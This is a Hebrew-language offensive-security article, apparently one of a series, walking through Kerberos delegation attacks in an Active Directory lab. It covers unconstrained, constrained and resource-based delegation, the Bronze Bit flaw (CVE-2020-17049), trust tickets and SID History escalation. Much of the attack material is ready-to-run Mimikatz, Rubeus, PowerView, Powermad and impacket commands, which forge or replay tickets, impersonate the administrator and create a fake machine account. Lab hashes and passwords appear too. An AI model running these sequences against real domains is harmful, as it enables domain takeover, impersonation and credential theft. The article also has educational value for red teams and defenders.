 של userAccountControl-ה( Attribute) מאפיין מוגדר אם רק קורה זה. האחר המשתמש בשם לעצמו

 הזה המאפיין את ללשנות כדי) TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION-כ המשתמש

 (.SeEnableDelegationPrivilege של הרשאה נדרשת
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 עבור שמוגדר SPN אותו עבור אחר משתמש לכל להתחזות יוכל משתמש לאותו גישה בעל אחד כל כלומר

 .msDS-AllowedToDelegateTo-ה

 לשירות נותן אחד. תפקידם ואת בדלגציה S4U-ה שירותי משתלבים איך הבאה בסכמה לראות ניתן

 אחר שירות מול להתאמת לשירות גורם ואחד אצלו הכרטיס את ולשמור המשתמש בשם להתאמת

 :כמשתמש

 

[MSDN] 

 :high level-ב התהליך נראה איך
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]Posts.specterops.io[ 

 

Resourse-Based Constrained Delegation 

-ה שת מקנפגים בה הדרך את משנה Windows 2012 .RBCD שרת עם הדלגציות לחבורת התווסף

constrained Delegation כמה עם עובדים כאשר יעבוד והוא forest-ים (של קשר trust .)להגדיר במקום 

 מאפשר זה כלומר. אליו לגשת יוכל מי למשאב מגדיר השירות שירות לאיזה לגשת יכול אובייקט איזה

 .זאת לעשות יוכל מי להחליט ניגשים אליהם המשאבים של לבעלים

 לעשות יכול שהוא משתמש לכל להגדיר במקום. SQL DB-וה האתר עם הראשונה לדוגמה נחזור בואו

Delegation ל לגשת כדי לאתר-SQL עם RBCD ה לשרת להגדיר ניתן-SQL לעשות יוכל שהמשתמש 

 .אליו דיליגיישן

 המשאב על msDS-AllowedToActOnBehalfOfOtherIdentity דגל השמת ידי על הקלעים מאחורי קורה זה

 Powershell-ב להשתמש צריך RBCD לקנפג כדי. אליו לגשת שרוצה האובייקט של SID-ה עם המבוקש

 (. הקסדצימלי ערך לכתוב רק ניתן attribute editor page-וב ADUC-ב GUI אין לצערנו)
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 ?רגיל CD-ל ביחס נראה RBCD-ה איך אז

 

[MSDN] 

 Attribute-ה את מעדכנים RBCD-ו הדלגציה את שעושה השירות על attribute-ה את מעדכנים הרגיל CD-ב

 .לגשת רוצים אליו המשאב אצל

Delegation Hunting 

 powershell-ב הבא בסקריפט להשתמש ניתן בדומיין אצלכם עובדים Delegation איזה לברר תרצו אם

 :יתן וזה(. לכך אחר סקריפט למצוא ניתן)

 

https://github.com/NotSoSecure/AD_delegation_hunting
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 ?קורה זה איך

 כל את נמצא LDAP עם הדומיין ברחבי אותם נחפש אם אז, מכיל delegation שכל attributes-ה את זוכרים

 :powersploit/powerview-ב נשתמש? לבד זאת נבדוק איך .שקיימים delegations-ה

 .שיטות כמה לכם נציג אך לחפש דרכים עוד כמובן יש*

 

Unconstrained delegation - בעלי ושרתים מחשבים למצוא נוכל הבאה הפקודה בעזרת Delegation: 

Get-ADComputer -Filter {TrustedForDelegation -eq $true -and 

primarygroupid -eq 515} -Properties trustedfordelegation, 

serviceprincipalname, description 

 

Constrained delegation - ב או המתאים הדגל את נחפש כן גם-powershell: 

 :למשתמש

Get-ADUser -Filter {(msDS-AllowedToDelegateTo -ne "{}")} -Properties 

TrustedForDelegation, 

TrustedToAuthForDelegation,ServicePrincipalName,Description,msDS-

AllowedToDelegateTo 

 :למחשב

Get-ADComputer -Filter {(msDS-AllowedToDelegateTo -ne "{}")} -Properties 

TrustedForDelegation, 

TrustedToAuthForDelegation,ServicePrincipalName,Description,msDS-

AllowedToDelegateTo 
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 :PowerSploit/PowerView-ב או

Get-NetUser -TrustedToAuth 

 

 .ממקודם HTTP-ה עבור constrained delegation-ה אותו זה לראות שניתן כפי

Resourse-Based Constrained Delegation - את נחפש כאן גם -Attribute ל המתאים-RBCD לדעת כדי 

 :הזו הדלגציה את יש מכונות/משתמשים לאילו

Get-NetComputer *| Select-Object -Property name, msds-

allowedtoactonbehalfofotheridentity 

 

 !אדום ונדבר פנימה נכנס בואו אז בגדול הדלגציה מנגנון עובד איך הבנו כה עד

 אך .דלגציה לכל התקפה לכם נציג אך התקפות של גרסאות מספר למצוא נוכל דלגציה של סוג שלכל כמובן

 כמו roast-ה במתקפות שקראתם כפי. כאן גם תקפות Roasting-ה שמתקפות לציין חשוב, כן לפני

kerberoast ו-asreproast אותו לפענח ומנסה הקורבן של כרטיס מקבל התוקף offline . 

 לנסות ממנו המונע דבר ואין שלו לא שהם( TGS-ו TGT) כרטיסים משיג גם התוקף בדלגציה לכך בדומה אז

 .ביותר היעילה המתקפה זה האם היא הנשאלת השאלה. אותם לפצח
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 :הראשון מהסוג נתחיל אז

Unconstrained delegation Attack 

 יושב שהתוקף והעובדה printer bug-ה בעזרת ושם ים-forest בין trust-ה נושא על יוסבר המאמר בהמשך

 שסומך forest-ב הסיסמאות כל את להשיג יוכל הוא(, DC-ה או) unconstrained delegation עם שרת על

 ?הדלגציה של הזה הסוג עם לעשות שניתן דברים עוד יש האם אך. עליו

 :שלנו הסיטואציה מה אז. הזו הפסקה את כותבים היינו לא אחרת כן היא התשובה אז

 עם מכונה על יושב התוקף unconstrained Delegation. 

 ה-DC משותפת לתיקייה לדוגמה, כלשהי בצורה המכונה לפרטי ניגש. 

 ה נשמר התוקף מכונת על הדלגציה בגלל-TGT ה של-DC (אדמין דומיין של הרשאות) 

 ה את טוען התוקף-TGT ונהיה שלו המחשב על Domain Admin. 

 של המחשב על שמורים כרטיסים איזה ונראה Mimikatz-ב נשתמש. פשוט נורא שזה הזו במתקפה והיופי

 :התוקף

sekurlsa::tickets 

 דיוק וליתר DC-ה .בכרטיסים יופיע לא( שלנו במקרה hafifa/22nat) אדמין הדומיין של TGT-שה לב שימו

 (:דוגמה רק) הבא path-ב משתופת לתקייה ניגש אדמין הדומיין

\\Win10client.hafifa.mashu\C$\Users\KPU01 

 :(sekurlsa::tickets בהרצת גם) התוקף במכונת שמור ישאר TGT-ה Unconstrained delgation-ה ובגלל
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 :התוקף של המחשב על TGT-ה אותו את לטעון שנוכל כדי הכרטיסים לכל export נעשה עכשיו אז

sekurlsa::tickets /export 

 

 :אצלנו TGT-ה את נטען( הקודמים בפרקים שהוסבר כפי) ptt בעזרת ואז

kerberos::ptt ticket.kirbi 

 

 :cache-ב אצלנו שמור TGT-ה את ונקבל

 

 :DC-ל לגשת ונצליח
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 היה הלקוח במכונת CIFSל ניגש היה DC-ה כאשר unconstraied Delegation היה לא שאם להבין חשוב

 היינו ולא CIFS@DOMAIN מופיע היה KRBTGT@DOMAIN של service name במקום כלומר TGS שמר

 .לדומיין להתחבר כדי הזה בכרטיס להשתמש יכולים

Constrained delegation Attack 

 היא בסוף שהמטרה מהבחינה הקודמת למתקפה דומה די, Constrained Delegation-ה של ההתקפה

 מזייפים אלא אצלנו אותו ושומרים DC-ה של TGT-ה את משיגים לא אנו שכעת הינו השוני אך DC-ל לגשת

TGS הדלגציה בעקבות (S4Uself )ה משתמש עבור-Administrator גישה להשיג במטרה אליו ומתחזים 

 ?המתקפה של setup-ה מה אז. גבוהות בהרשאות מסוים לשירות

 שירות) לקבצים לגשת כדי( אחר למשתמש להתחזות יכולת אחרות במילים או) דלגציה עם משתמש קיים

CIDS )ב-DC: 

 

 

 . Rubeus בתוכנה ונשתמש. הזו המכונה על יושב והתוקף
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 :במתקפה נתחיל אז

 :המשתמש עבור מזויף Delegation TGT ניצור ראשית .1

.\Rubeus.exe tgdeleg 

 

 זה. CIFS-ל לגישה( הדלגציה עקב אפשרי) administrator-ה משתמש עבור TGS נבקש בעזרתו ועכשיו .0

 .לכן קודם שהוסברו S4U2Pself-וה S4U2Proxy-ה בזכות מתאפשר

./Rubeus.exe s4u 

/ticket:doIFLDCCBSigAwIBBaEDAgEWooIENDCCBDBhggQsMIIEKKADAgEFoQ4bDEhBRklG

QS5NQVNIVaIhMB+gAwIBAqEYMBYbBmtyYnRndBsMSEFGSUZBLk1BU0hVo4ID7DCCA+igAwIB

EqEDAgECooID2gSCA9bYLgbmXUOHZS+ocweqTlkTVk8Hoa87n0bdB2iPeh3P8sKgtMyMomEg

kmZPwRH0/Mw6GnIwILPg4IGqI2thjvNkMIt5ZPZE3cgDtsr1lbFSVKDwanCPGxdhlh4YEXCX

hDSo9FnWqn8U5sCAvvb5fCWXBfYzPt5vReE3Y2qsxbWDzh4VoFRe/RliAFgjW+VCDGypSjbr

YS6q1LdcSEBLcEphcy0ZX7laEdW6QugG91K6HezRbzk+IBKEp17qd5WLvUuKN08lxUd7IfCH

IQJrqTFG12MzXRnmtWZot5jzyUM+eF+f+1YdbrlKNNlAKVEIZFHF0HNA4rdXmbMe7HS3Zogf

gpTcmokRlqVg9jjH8/jn7Hn9xOVioavi6VHB63lQG81JVdzCcxeb+nc+1PtIivxLGV/XHW3C

qUvtCVghUyCandCH7uZ1roMVIsi5cPnNtMjDVzXZ1mHeJcadBPsnV0OnK9LsYScoGDS/IiBf

a1IZOx4izjKSMU9hzmY7vbPMFHkOvywFLK/tHca/xS+zlEDl8j4V18Kd7QnVrb3VSe+rP9yk

o2dCFdISgMsW3r/7lAGmCcG82Ai6Fd3WqZDQAf6PuSxEx20QUopq/bIHmJJf4C4XcAIakWPj

1CBMRlSIFKy6o7JlqJxzbQyNaJ2BmzCGbRdMapl7Iretzfnxf6AqUEBHNjdqxH6Waq17KNob

QUkWWP7MDgSBYCTd8bRMT/vg5taE6flBhDT4FOQvgrOjUNKhSQ0E/X0k8wiwRmEPqIowanVu

d9KwW/s35GEUXYDxTQm3nudx4rV/Uc85xNKR+9IDnItqJqCdwBlK9OOU+OBcJSFTsOwM3xMc

0MXKGksikf401z9NCEqtVrRrhO8etA0tkqGMNIPRLyftA0VYfzGCd9UvIsE2aRtfKhF1lrlq

Ap6kRnDcDXkf30we3qqcL09NA2ahoCiN6w8zADgzufi7FVVlyJAjQ0SSaPqOeLu6iheuz6Y0

zdpK3MXuoJv3nwcNMOUmPjB0loQZjx51ji+p3hN1a9gKYrhDfytFmLcYUAV8yMyGUu7/XZxi

nFVels4v+AFSikLnwmjoAy6rAVvL4djh7k9bLo6sGWD8hky4x0eJpr75UWYwe86S+QymZM6p

2aNr8d+Ne/MmrC7vEySH+N08YXauKSfEABFy6/MCAJnsowac5kdYVZzQdZogLqhp4Y8GIyR7
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KlyMLPMirIrtqBBtRXA4YmRW4pEWbOonpsVzIZ4xP4kqyzhEevqvsV7j78N5eHFAjG4wvuwt

JZJJK3pzpNcZGoAKxG/FhsSKimd8rarUo4HjMIHgoAMCAQCigdgEgdV9gdIwgc+ggcwwgckw

gcagKzApoAMCARKhIgQguz9v6pFaRTupIiNxBJ70Gs64sVrFwOCRB6OJPTLxpY2hDhsMSEFG

SUZBLk1BU0hVohIwEKADAgEBoQkwBxsFS1BVMDGjBwMFAGChAAClERgPMjAyMTEwMTAwMzA4

MzVaphEYDzIwMjExMDEwMTMwODM1WqcRGA8yMDIxMTAxNzAzMDgzNVqoDhsMSEFGSUZBLk1B

U0hVqSEwH6ADAgECoRgwFhsGa3JidGd0GwxIQUZJRkEuTUFTSFU= 

/impersonateuser:administrator /domain:hafifa.mashu /msdsspn:cifs/WIN-

SERVER19.hafifa.mashu /dc:WIN-SERVER19.hafifa.mashu /ptt 

 :למעלה שתואר base-64 ticket.kirbi-ה הינו ticket-ה לראות שניתן כפי
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 :administrator-ה משתמש עבור כרטיס ונמצא klist עם אצלנו טעונים כרטיסים איזה נראה .3

 

 :DC-ל גישה וקיבלנו .6
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 שירותים עבור זאת לעשות גם ניתן היה אך קבצים לשיתוף שירות שזהו CIFS עם עבד שזה לציין חשוב

 :לדוגמה אחרות למטרות נוספים

 CIFS-ב לקבצים לגשת מאפשר-DC. 

 HTTP(WinRM)-שירות על שליטה להשיג WEB 

 LDAP- לעשות מאפשר DCsync הסיסמאות כל את ולהשיג 

 HOST-PsExec shell 

 

Resource Based Constrained Delegation Attack 

-ה. AD-ל כתיבה הרשאות יש לתוקף עוד כל אחרת במכונה אחת ממכונה קוד להריץ מאפשרת זו מתקפה

setup: 

 משתמש KPU01 מחשב על עובד Win10client . 

 משתמש KPU01 ל כתיבה הרשאות בעל-AD .את יש לתוקף אם במתקפה היופי גם בעצם זהו 

 .עצמו מהדומיין חלק להיות חייב לא הוא האלו ההרשאות

 משתמש KPU01 ב מזויף מחשב יוצר-AD (אדמין הרשאות צריך לא )בשם FakeAdam .שבמצב גילינו 

 .בדומיין עמדות 12-כ להוסיף יכולים משתמשים דיפולטיבי

 משתמש KPU01 ה את לעדכן כדי שלו הכתיבה הרשאות את מנצל-attribute msDS-

AllowedToActOnBehalfOfOtherIdentity המזויף למחשב לתת במטרה FakeAdam הרשאות החדש 

 (.Delegation כלומר) Win7client-ל לגשת שרוצה משתמש כל לאמת

 להם ולתת אחר משתמש לכל להתחזות FakeAdam למחשב מאפשר Win7client מחשב אחרות במילים

 לרשימת מתווסף FakeAdam המחשב(. RBCD-ה בעצם זה) אדמין להיות אפילו שירצו דבר לכל גישה

 .Win7client עבור אחרים חשבונות עבור TGS להשיג להם שמותר השירותים

 משתמש KPU01 מבקש kerberos tickets עבור FakeAdam את יודע הוא כי זאת לעשות יכול והוא 

 (אותו יצר הוא כי) אליו הסיסמה

 ה שירותי בזכות-S4U 00 למשתמש יתחזו כרטיסים אותםnat לגשת יוכלו ובכך אדמין דומיין שהוא 

 .הקורבן למחשב

  מחשב של לקבצים גישה נקבל ולבסוף Win7client ממחשב Win10client. 

 :למתקפה נכנס אז

 :powersploit/powerview בעזרת DC-ל מחשבים להוסיף יכול התוקף אם נבדוק ראשית

Get-DomainObject -Identity "dc=hafifa,dc=mashu" -Domain hafifa.mashu 
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 :נראה המלל בסוף

 

 Windows שרת עם התווסף RBCD-ש מכיוון, כן כמו (.מחדל הברירת) מחשבים 12 להוסיף יכול הוא כלומר

-Get הפקודה עם זאת לבדוק ניתן. עתידיות גרסאות או זו בגרסה שרת צריך המתקפה את לבצע כדי 0210

DomainController: 

 

 :אותחל לא msDS-AllowedToDelegateTo-ה הקורבן מחשב שעל היא תעבוד שהמתקפה כדי דרישה עוד
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 הפקודה עם זאת לבדוק ניתן

Get-NetComputer Win7client| Select-Object -Property name, msds-

allowedtoactonbehalfofotheridentity 

 

 .כלום אותחל לא ולכן ריק זה

 מכונה ליצור כדי Powermad: PowerShell MachineAccountQuota and DNS exploit tools-ב נשתמש

 :Powershell-ה דרך

 

 מוגדרת לא מפוליסה נבע כנראה זה powershell-ב סקריפטים להריץ אפשר לא הדומיין ממחשבי אחד

 :הרצת ידי על ונפתר

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted 

 :Get-DomainComputer FakeAdam הפקודה י"ע SID-ה מהו נבדוק

 

  

https://github.com/Kevin-Robertson/Powermad
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 Security.שמצאנו SID-ה עם החדש המזויף למחשב raw security descriptor ליצור הינו הבא השלב

Descriptor אנחנו הדסקריפטור בעזרת. אחר אובייקט כלפי אובייקט של ההרשאות את לאכסן כדי משמש 

 .הדלגציה בהקשר שיצרנו המזויף למחשב הקורבן מחשב בין משייכים

 :האתחול

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -

ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-

2006934596-3969012060-2314185436-1113)" 

$SDBytes = New-Object byte[] ($SD.BinaryLength) 

$SD.GetBinaryForm($SDBytes, 0) 

 

 :עליו security descriptor-ה את לאתחל נוכל הקורבן למחשב כתיבה הרשאות KPU10 לתוקף שיש מכיוון

Get-DomainComputer Win7client| Set-DomainObject -Set @{'msds-

allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 
 

 

 :מאותחל msds-allowedtoactonbehalfofotheridentity-שה ונראה שוב נבדוק

 

 :אליו ולהתחזות שיצרנו המחשב של הסיסמה של hash-ה את ליצור במטרה האהוב rubeus את נפתח כעת

.\Rubeus.exe hash /password:123456 /user:FakeAdam /domain:hafia.mashu 
 

 

.\Rubeus.exe s4u /user:FakeAdam$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 

/impersonateuser:22nat /msdsspn:cifs/Win7client.hafifa.mashu /ptt 
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 :נקבל הכרטיסים את נבדוק ואם

 

 .בעבר שראינו כפי הקורבן למחשב לגשת נוכל ולכן cifs-ה עבור TGS-ה את השגנו

 

 שהסברנו מה את לבצע כדי impacket-ב שמשתמש git repository מצאנו המתקפה את שכתבנו אחרי

Based -attack: Kerberos Resource-tothi/rbcd: ונהנים הסדר לפי הסקריפטים את מריצים. קודם

Constrained Delegation Attack from Outside using Impacket . 

 

Bronze bit CVE-2020-17049 

CVE ירצה ירצה שהתקוף משתמש ככל אחר שירות מול להתאמת שמאפשרת חדשית יחסה חולשה הינו זה 

 בשירות להשתמש לתוקף מאפשרת החולשה(. דלגציה לעשות יכולים שלא וכאלו מוגנים משתמשים כולל)

 כלומר) מאופשר TrustedToAuthForDelegation כאילו כרטיס ולהשיג TrustedToAuthForDelegation ללא

 (.forward לעשות מאפשר

 :המתקפה של setup-ה

 .הראשון השירות לו נקרא, כלשהו שירות של Hahs-ה את יש לתוקף .1

 או הוא בינהם הקשר. השני השירות לו נקרא, נוסף שירות עם דלגציה של קשר יד הראשון לשירות .0

Constrained delegation או RBCD. 

 .קורבן לקוח בשם השני השירות עבור TGS יבקש הראשון שהשירות כדי exploit-ב משתמש התוקף .3

 .מתחזה הוא שאליו הלקוח בתור 0-ה לשירות גישה משיג התוקף .6

  

https://github.com/tothi/rbcd-attack
https://github.com/tothi/rbcd-attack
https://github.com/tothi/rbcd-attack
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 :יתרונות כמה יש הזו למתקפה

 ה-exploit שה עד זמן עוד ויקח, חדש הוא-Patch שהמערכת הסיכויים רוב כלומר, השרתים ברוב יותקן 

 .להתקפה חשופה תהיה שתתקפו

 עם לגורמים דלגציה לתת לא יהיה הטיפים ואחד, קרברוס להקשיח איך שמסביר מאמר נרשום בעתיד 

 הנוכחית החולשה בעזרת אך(, לבד זאת נחשתם כנראה) המערכת את לסכן שיכולים או הרשאות

 .אותה לעשות אפשר שאי להם שמוגדר שירותים עבור גם דלגציה להשיג אפשר

 ה התקנת-patch על ללחוץ מספיק לא, פשוטה כזו לא היא update (הרבה זאת עושים שעדיין למרות .)

 deployment of Kerberos KB4598347: Managing :להרחבה. מעודכנות יהיו מערכות פחות כלומר

17049-2020-S4U changes for CVE 

 :סכמתית בצורה נראה זה איך

 

]https://www.netspi.com[ 

https://support.microsoft.com/en-us/topic/kb4598347-managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049-569d60b7-3267-e2b0-7d9b-e46d770332ab
https://support.microsoft.com/en-us/topic/kb4598347-managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049-569d60b7-3267-e2b0-7d9b-e46d770332ab
https://support.microsoft.com/en-us/topic/kb4598347-managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049-569d60b7-3267-e2b0-7d9b-e46d770332ab
https://www.netspi.com/
https://www.netspi.com/
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 TGS לבקש כדי S4Uself-ב משתמש מכן לאחר, שלו hash-ה עם שברשותו לשירות כרטיס מבקש התוקף

-ל אותו והופך הכרטיס את מפענח התוקף הבא בשלב. מיועד משתמש עבור not forwardable שהוא

Forwardable .עם בחזרה אותו שולח הוא S4Uproxy ל-KDC הקורבן)השני השירות עבור כרטיס לבקש כדי 

 (.האמיתי

 הראשון השירות של הסיסמה של hash-ה עם רק מוצפן forwardable-ה שדגל מכיוון אפשרית זו מתקפה

 ניתנת ולכן( הרצוי הביט את לשנות פשוט אפשר ולכן חתימות אין MS14-068-ל בניגוד) ברשותנו שהיא

 .לפענוח

 בשימוש מתבטא זה שוני. exploitה של השוני עם RBCD-ה של הקודמת לממתקפה דומה מאוד המתקפה

  .impacket\examples\getST.py\:ב דיוק וליתר, impacket-ב

 :הסביבה את נקים ראשית, המתקפה את נעשה בואו אז

 לעשות עליו ונאסור המוגנים המשתמשים לקבוצת אותו ונכניס אדמין דומיין שהינו משתמש ניקח .1

 .דלגציה
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 :המשתמשים מי לבדוק מנת על

 

 

 שהיא Win12 אחר משתמש של הסיסמה תהיה ובבעלותו KPU01 ממשתמש יעבוד התוקף אז .0

Aa103652 .תהיה משתמש לאותו constrained Delegation אחר מחשב עבור Win7client. 
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 impacket-ב נשתמש .00nat בשם Win7client-ה עבור כרטיס להשיג כדי S4U-ב משתמש התוקף .3

 :…(לבד אותו לקמפל תצטרכו אז מוכן exe לו אין מראש מזהיר) getST.py בסקריפט

python ./getST.py -spn cifs/Win7client.hafifa.mashu -impersonate 22nat -

hashes F26FB3AE03E93AB9C81667E9D738C5D9:47BF8039A8506CD67C524A03FF84BA4E 

-aesKey C15C102894E42AE804F03BE774DAF43C8283B6D6C0DFF6BB73DF391C23F0AFD4 

hafifa.mashu/Win10 -force-forwardable 

. לכן קודם שראיתם כפי rubeus עם hash-ה את והשגנו Win12-ל שייכת היא יודעים אנחנו הסיסמה את*

 aeskey-ה ואחרי(, באינטרנט LM-ל תרגום למצוא ניתן) LM:NTLM את להכניס צריך hashes הדגל אחרי

 .AES256 hash-ה את להכניס צריך

 :שגיאה תקבלו אחרת force-forwardable- הדגך את להוסיף חשוב כן כמו*

 

 :Mimkatz האהובה התוכנה עם cache-ל שיצרנו הכרטיס את נטען עכשיו .6

kerberos::ptc 22nat.ccache 

 

 :הטעון הכרטיס את klist בעזרת ונראה .5
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 !ניצחנו וזהו .2

 

 setup-ל בהתאם הכל, bornze bit exploit-ה עם לבצע שניתן כמה מתוך אחת מתקפה שזו לציין רוצים אנו

 למתקפת דומה יותר הייתה המתקפה rBCD-ו כתיבה הרשאות לנו היו אם לדוגמה. להשיג מצליח שהתוקף

 …לבד זאת עושים איך לבדוק תצטרכו בטירוף אורך שהמאמר מכיוון אך. RBCD-ה
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 Trust התקפות

 מדומיינים משאבים לבקש האפשרות - בכלליות. זה במאמר גם בו וניגע הקודם במאמר נגענו זה בנושא

 :הדומיינים בין trust, אמון לראות לדרכים דוגמאות כמה הנה. אחרים
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 שרתים מול אל ההזדהות ועל דומיינים שבין היחסים על דיברנו כאשר זה לנושא התייחסנו הקודם במאמר

 הם בנוסף(. שונות דומיינים של קבוצה) עצים בין אמון ליחסי גם מתייחס trust-ש כמובן. אחרים בדומיינים

 או שנכנס המידע על רק או מהדומיין היוצא המידע על רק trust לדוגמא) כיווני חד בכיוון להתנהל יכולים

 A דומיין אם) טרנזיטיבית לא או טרנזיטיבית בצורה ובין כיווני דו או( להיפך לא אך B על סומך A לחילופין

 (. C על סומך A-ש אומר בהכרח זה אין, C על סומך Bו B על סומך

(. וטרנזיטיביים צדדיים דו יחסים) בעצים לילד הורה ובין לראשיהם העצים בין בדיפולט קיימים trust יחסי

 . הרשאות בעל מנהל י"ע להיווצר צריכים trust-ה קשרי שאר

 A כאשר - זאת להסביר מנת על דוגמא ניקח. מבלבלים מעט להיות יכולים כיווניים חד יחסים של המשמעות

 :נכון אינו ההיפך אך, A-ב למשאבים לגשת יכולים B-ב משתמשים, להיפך לא אך B על סומך

 יער ראש-עץ ראש יחסי (tree -root ,)ילד-אב יחסי (child-parent )וטרנזיטיביים כיוונים דו הם 

 שונים יערות בין יחסים (forest )- כיווניים דו או חד להיות עשויים וכן טרנזיטיביים. 

 חיצוניים יחסים (external )- ה עם אמון קשרי אין שלו לדומיין הדומיין בין-forest הדומייןהראשון בו 

 .טרנזיטיבי ולא כיווני חד הקשר. עדכני לשרת לחברו ורוצים ישן שרת על יושב הדומיין, כן כמו. נמצא

 בקרברוס תומכות אינן אשר לעמדות דומיין בין יחסים v5 (מסוג realm)- טרנזיטיביים בין להיות עשויים 

 .כיווניים דו או חד וכן טרנזיטיביים לא ובין

 יחסי shortcut - שצריכות האמון יחסי כמות את להקטין מטרתם, האלו היחסים. וטרנזיטיבי כיווני חד/דו 

 האמון יחסי כל על דילוג בעצם) אמון ביחסי שיחשבו עד העץ באותו אינם אשר דומיינים 0 בין להיות

 (. לבין בין הקיימים
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 :ביער העצים בין אמון קשרי קיימים לא דיפולטיבית

 

 [Ace Fekay מתוך]

 להתרחב דרכים למצוא מנת על trust יחסי את למצוא תמיד ירצה תוקף, ויערות דומיינים בעלות ברשתות

 מנת על וינדוס מבוססות api בקריאות ובכלליות dsqueryו nltest כמו בשיטות ישתמש תוקף. הדומיינים אל

 .הדומיינים של היחסים אודות לתשאל

 את המתארת dirkjan מהאתר התמונה את נביא, הקודם במאמר כבר שנאמרו הדברים על לחזור במקום

 :(אחרים לדומיינים לגשת מנת על הדומיין של kdc-ב שימוש) המבוצע התהליך
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 :klist-ה ברמת יראה זה וכך

 

 ובעזרתן AD-ב המאוחסנות trust-ה סיסמאות את להשיג יכול, אחד דומיין על להשתלט שהצליח תוקף

 לדומיינים המגיעים TGT-ה את ומצפינות החותמות סיסמאות אותן - אחרים בדומיינים כרטיסים לזייף

 .Enterprise Admins-ה - ביער החזקים המשתמשים של הסיסמאות את התוקף להשיג יכול ומהם האחרים

 :הבאה בסביבה הצגנו, שלנו היכולת הוכחת את

 

 . היערות בראשי דומיינים מייצגים והריבועים עצים ראשי מייצגים המשולשים, יער מייצג עיגול כל כאשר
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 :בין trust של tree-root יחסי קיימים

 DC-A, DC-G 

 DC-A, DC-B 

 DC-D, DC-C  

 מנת על במימיקץ להשתמש ניתן .forest trust מסוג 0 ליער 1 יער בין כיווניים דו trust קשרי יצרנו, כן כמו

 :trust-ה סיסמאות את ים-ADה מאחד להוציא

 

 אך golden ticketל דומה די) השני הדומיין של tgt ליצור ביכולתנו, הסיסמא של hash כשלרשותנו, כעת

 :(trust ticket לרוב נקרא

 

 :הקודם בשלב שהשגנו TGT-ה בסיס ועל השני מהדומיין שראינו flow-ה בסיס על TGS להשיג ניתן, כעת
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 LSA-ה משרת נבקש ובה) כך ותתחיל יותר פשוטה התקיפה, אחד עץ בתוך נמצאים הדומיינים כלל כאשר

 :קודם שראינו כמו dcsync כמו התקפות בעזרת או( trust-ה מפתחות את אלינו להחזיר

 

 :בכלליות נגיד

 על יושב התוקף כאשר root דו יחסים ביניהם יש) בעץ מהדומיינים אחד את לתקוף ורוצה עץ של 

 .trust ticket-ש ההתקפה את יבצע הוא(, כיווניים

 ילד" דומיין לתקוף ורוצה בעץ" ילד" בדומיין יושב התוקף כאשר/"root הוא(, כיווני דו יחס קיים) בעץ 

 .SID History-ב ישתמש

 ב להשתמש באפשרותו, אחר ליער אחד יער מתוך לתקוף ירצה כאשר-printer bug + unconstrained 

delegation .כיווני דו אמון חיבור זה לתרחיש נדרש. 

 ?SID HISTORY ATTACK זה מה? לא, קצת יבריש'ג דיברנו

 בדומיין משתמשים, כך. לאחר אחד מדומיין משתמשים בהעברת לסייע מאפשרת SID History התכונה

 המנהלים על, קיימת הייתה לא זו תכונה אם. הקודם בדומיין זכו להן הרשאות אותן את להשיג יכולים

 להגיד אפשר. הקודם בדומיין לו שהיו לאלו המשאבים על זהות הרשאות להגדיר היה החדש בדומיין

 .אחר בדומיין SID אל הנוכחי SID-מה מיפוי מאפשרת שהתכונה בזהירות
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 באפשרות, הדומיין של KRBTGT hash-ה נחשף שבמהלכה תקיפה עבר child דומיין כאשר :הזוי די דבר

-ה של שינוי בעזרת קורה הדבר. Trust-Pocalypse ממש - parent-ה דומיין את גם לחלוטין לתקוף התוקף

SID ל הכרטיס של-S-1-5-21-<RootDomain>-519 .את המייצגות סטנדרטיות תצורות הן 1,5 הספרות 

 את המייצג 0x00000207 של הדצימלי הערך הוא, 519. הדומיין של SID-ה לאחריהן, האבטחה מזהה

DOMAIN_GROUP_RID_ENTERPRISE_ADMINS (מייקרוסופט של התקן פי על.)  

 החזק המשתמש) parent-ה בדומיין גם enterprise admin להיות הופך הכרטיס של SID HISTORY-ה, כך

 לאור אחרים במקרים לרוב תיכשל אך, היער אותו בתוך דומיינים על רק תעבוד התקיפה(. הדומיינים בכלל

 :ותפקידה חיצוניים דומיינים המבודדת SID FILTER פוליסת שקיימת העובדה

 “…verify that incoming authentication requests made by security principals in the trusted domain 

contain only SIDs of security principals in the trusted domain"  

 בעצם התכונה (.תתאפשר ההתקפה ולכן מכובה הזו התכולה, חיצוני בדומיין כשמדובר למרות, לעיתים)

 ליער מחוץ מדומיינים מונעת וכך לגשת יכולים משתמשים שמהם הדומיינים על whitelist מבצעת

 .מלהתחבר

 הנוכחי הדומיין של SID-ה ואת KRBTGT hash-ה את הוא צריך שהתוקף כל, ההתקפה את להשמיש בכדי

 הדומיין אל להגיע יכול domainB מהדומיין משתמש כיצד נראה, כאן .לתקיפה המועד הדומיין ושל

domainA ב שנמצא-root: 

 :B דומיין דרך הצמתים בין הקשרים את בדקנו, ראשית: שוב זאת נראה אך, קודם זאת הזכרנו
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 :כך נראה זה, A של המבט מנקודת, למתעניינים

 

 . צלח שלא DC A-ה של הקבצים מערכת אל גישה ניסיון מצידנו בוצע, ראשית
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 :זה בקשר קיים אינו הוא - SID filter ההגנה מנגנון קיים האם לבדוק כדי netdom-ב השתמשנו, בהמשך

 

 המופיע SID-ה. כלל כאן מוזכר אינו A שהדומיין לב שימו. כרטיס ליצור מנת על במימיקץ השתמשנו

 הינו KRBTGT-ה וכן התוקף במחשב הנוכחי המשתמש הינו המשתמש, הנוכחי המשתמש של הוא בהתחלה

 519 בסיפא וסיימנו A דומיין של SID-ה את ציינו, SIDS בשדה, זאת עם. B בדומיין KRBTGT-ה של hash-ה

 :ROOT-ה על להיות שאמורים מהמשתמשים - enterprise admins המציינת

 

 . DC A-ה אל לגשת שהצלחנו לראות ניתן, לבסוף
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 :A לדומיין גישה לנו אין כ"שאח וראינו הכרטיסים כלל את מחקנו, האחרונה בפקודה

 

 יער לי יש כאשר - מעניינת עובדה עוד הנה. unconstrained delegation של המושג את הסברנו, כן אם

 unconstrained בעל שרת/  DC על להשתלט שיכול תוקף, אחרים יער עם כיווניים דו trust ביחסי שנמצא

